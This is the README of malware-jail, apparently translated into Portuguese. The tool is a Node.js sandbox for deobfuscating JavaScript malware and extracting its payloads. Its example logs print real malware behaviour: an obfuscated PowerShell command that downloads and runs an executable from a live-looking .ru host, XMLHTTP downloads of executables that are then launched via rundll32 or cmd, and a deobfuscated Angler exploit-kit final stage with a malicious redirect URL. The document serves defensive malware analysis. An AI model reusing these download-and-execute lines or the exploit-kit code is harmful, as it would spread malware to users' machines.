
Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js
Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js
malware-jail é escrito para a sandbox 'vm' do Node. Atualmente implementa o contexto WScript (Windows Scripting Host) env/wscript.js, pelo menos a parte frequentemente usada por malware. O contexto de navegador de Internet está parcialmente implementado env/browser.js.
Funciona em qualquer sistema operacional. Desenvolvido e testado no Linux, Node.js v6.6.0.
Devido ao uso de alguns recursos ES6, você precisará do Node.js >= 6.x.
Veja EXEMPLOS para amostras de malware analisadas.
Se você tem novas amostras de malware, por favor submeta-as para javascript-malware-collection, seja por issue ou pull request.
Enumera consultas WMI em um arquivo: wmis.json
Adicionado novo parâmetro:
--t404 - requisições http sempre retornam HTTP/404 e lançam uma exceção. Isso permite enumerar todas as URLs remotas.
As URLs agora são salvas em urls.json. Veja o mais recente EXEMPLOS#malware-issue-14.
Várias correções de bugs e melhorias.
Várias correções de bugs e melhorias.
Adicionados novos parâmetros:
-t msecs - limita o tempo de execução em "msecs" milissegundos, por padrão 60 segundos.
--h404 - requisições http sempre retornam HTTP/404 e não lançam exceção. Isso permite enumerar todas as URLs remotas.
Você precisará ter Node.js e npm instalados.
malware-jail é construído sobre minimist, iconv-lite e entities.
Baixe o código-fonte com git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
Em seguida, instale todas as dependências (minimist, entities, iconv-lite) com:
npm install
Ainda não disponível, em breve ...
Tenha cuidado ao trabalhar com malware real. Um malware que tem conhecimento desta sandbox pode tentar escapar e prejudicar seu PC. Recomenda-se executá-lo a partir de uma conta Linux não privilegiada ou dentro de uma máquina Windows virtualizada. Os arquivos Angler na pasta malware NÃO estão desarmados.
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, uma sandbox de malware ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. use arquivo de configuração alternativo, preceda com ./
7 May 20:54:52 - -e ifile ... js que simula ambiente específico
7 May 20:54:52 - -o ofile ... nome do arquivo onde a sandbox será despejada no final
7 May 20:54:52 - -s odir ... diretório de saída para arquivos gerados (payload do malware)
7 May 20:54:52 - -b id ... tipo de navegador, use -b list para valores possíveis
7 May 20:54:52 - -t msecs ... número de milissegundos antes de encerrar a execução, padrão 1 minuto
7 May 20:54:52 - --trace ... imprime stack trace a cada linha de log
7 May 20:54:52 - --down ... permite baixar payloads de malware de servidores remotos
7 May 20:54:52 - --h404 ... no download, sempre retorna HTTP/404
7 May 20:54:52 - malware ... js com o código do malware
7 May 20:54:52 - Se nenhum argumento for especificado, os valores padrão são retirados de config.json
7 May 20:54:52 - Possíveis valores -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
Na pasta exemplos você pode encontrar um arquivo de malware desativado. Execute a análise com:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
Malware baseado em navegador de Internet você pode testar com
node jailme.js -b IE11_W10 malware/example_browser.js
Ao final da análise, o contexto completo da sandbox é despejado em um arquivo 'sandbox_dump_after.json'.
Você pode querer examinar as seguintes entradas de 'sandbox_dump_after.json':
'sandbox_dump_after.json' usa JSONPath, implementado por JSON-js/cycle.js, para salvar referências duplicadas ou cíclicas para um mesmo objeto.
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparando ambiente da Sandbox.
11 Jan 00:06:24 - => Executando: env/eval.js
11 Jan 00:06:24 - Preparando sandbox para interceptar chamadas eval().
11 Jan 00:06:24 - => Executando: env/wscript.js
11 Jan 00:06:24 - Preparando sandbox para emular ambiente WScript.
11 Jan 00:06:24 - ==> Executando arquivo(s) de malware.
11 Jan 00:06:24 - => Executando: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Criado: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Criado: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Não enviando dados, se quiser interagir com servidor remoto, defina --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Chamando onreadystatechange() com dados fictícios
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Criado: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
11 Jan 00:08:42 - Salvando: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Salvando: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - O contexto da sandbox foi salvo em: sandbox_dump_after.json
No exemplo acima, o payload foi extraído para output/_TEMP__49629482.dll e output/_TEMP__38611354.pdf
A pasta malware contém amostras reais de malware. A maioria baixada de https://malwr.com.
Por favor, veja EXEMPLOS para um índice completo de amostras de malware.
Pegando script malicioso do malwr.com: Wileen.js
Aparentemente o malware não executa se executado dentro de um navegador:
if (typeof document == "undefined") {
Portanto, você pode querer usar um arquivo de configuração alternativo que não carrega componentes do navegador/DOM:
node jailme.js --down=y -c ./config_wscript_only.json malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
Uso interessante do Powershell:
1 Oct 13:05:34 - => Executando: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Criado: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE -ExEc^U^Tio^n^p^oLIC^y^ B^Y^pas^S -NOpro^Fi^L^e^ -^W^InD^Ow^sT^yle^ HI^ddeN^ (^Ne^W^-^OBJ^ecT^ S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Limpando sandbox.
1 Oct 13:05:34 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
1 Oct 13:05:34 - O contexto da sandbox foi salvo em: sandbox_dump_after.json
Arquivo de log: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out
Pegando JavaScript malicioso do malwr.com: ORDER-10455.js
Primeira execução sem interação com servidores remotos:
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js
você obtém algo como:
...
29 Sep 23:17:21 - Chamando eval() no.: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Criado: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Não enviando dados, se quiser interagir com servidor remoto, defina --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finalizado
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] criado.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Criado: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Pasta_Especial__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Criado: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Pasta_Especial__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Retornando: 'undefined'
29 Sep 23:17:21 - ==> Limpando sandbox.
29 Sep 23:17:21 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncado)
29 Sep 23:17:21 - Salvando: output/Pasta_Especial__2_w8z05i7y2.exe
29 Sep 23:17:21 - Arquivo gerado salvo
29 Sep 23:17:21 - O contexto da sandbox foi salvo em: sandbox_dump_after.json
Parece ser um comportamento "padrão" de desofuscação para finalmente baixar um executável binário e executá-lo.
Se quisermos obter o payload real, execute com '--down=y':
node jailme.js --down=y malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
Arquivo de log: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
Pegando JavaScript malicioso do malwr.com: Norri.js
Execute:
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
você obtém:
30 Sep 01:02:11 - => Executando: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Chamando eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Criado: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Criado: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] criado.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Criado: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Criado: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Criado: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncado)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finalizado
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncado)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncado)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncado)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Limpando sandbox.
30 Sep 01:02:15 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncado)
30 Sep 01:02:16 - Salvando: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Arquivo gerado salvo
30 Sep 01:02:16 - O contexto da sandbox foi salvo em: sandbox_dump_after.json
O comportamento é óbvio a partir do log. O payload foi extraído para o arquivo output/TemporaryFolder_TempFile[15].
Arquivo de log: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out
Baixe e extraia o Angler EK de um arquivo pcap em ANGLER EK SENDS CRYPTOWALL para malware/angler/angler_full.html.
Remova a parte que não é Angler e salve como malware/angler/angler_stripped.html.
Remova as tags <script> e converta as tags <div> necessárias em:
document._addElementById(id, content);
e salve como malware/angler/angler.js.
Execute a análise:
node jailme.js malware/angler/angler.js
Eventualmente capture a saída em angler_output.txt:
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt
Desofuscando o estágio final:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }
A Licença MIT (MIT)
Copyright (c) 2016 Hynek Petrak
É concedida permissão, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrição, incluindo, sem limitação, os direitos de usar, copiar, modificar, fundir, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software é fornecido o façam, sujeito às seguintes condições:
O aviso de copyright acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.
O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM QUALQUER TIPO DE GARANTIA, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM DETERMINADO FIM E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.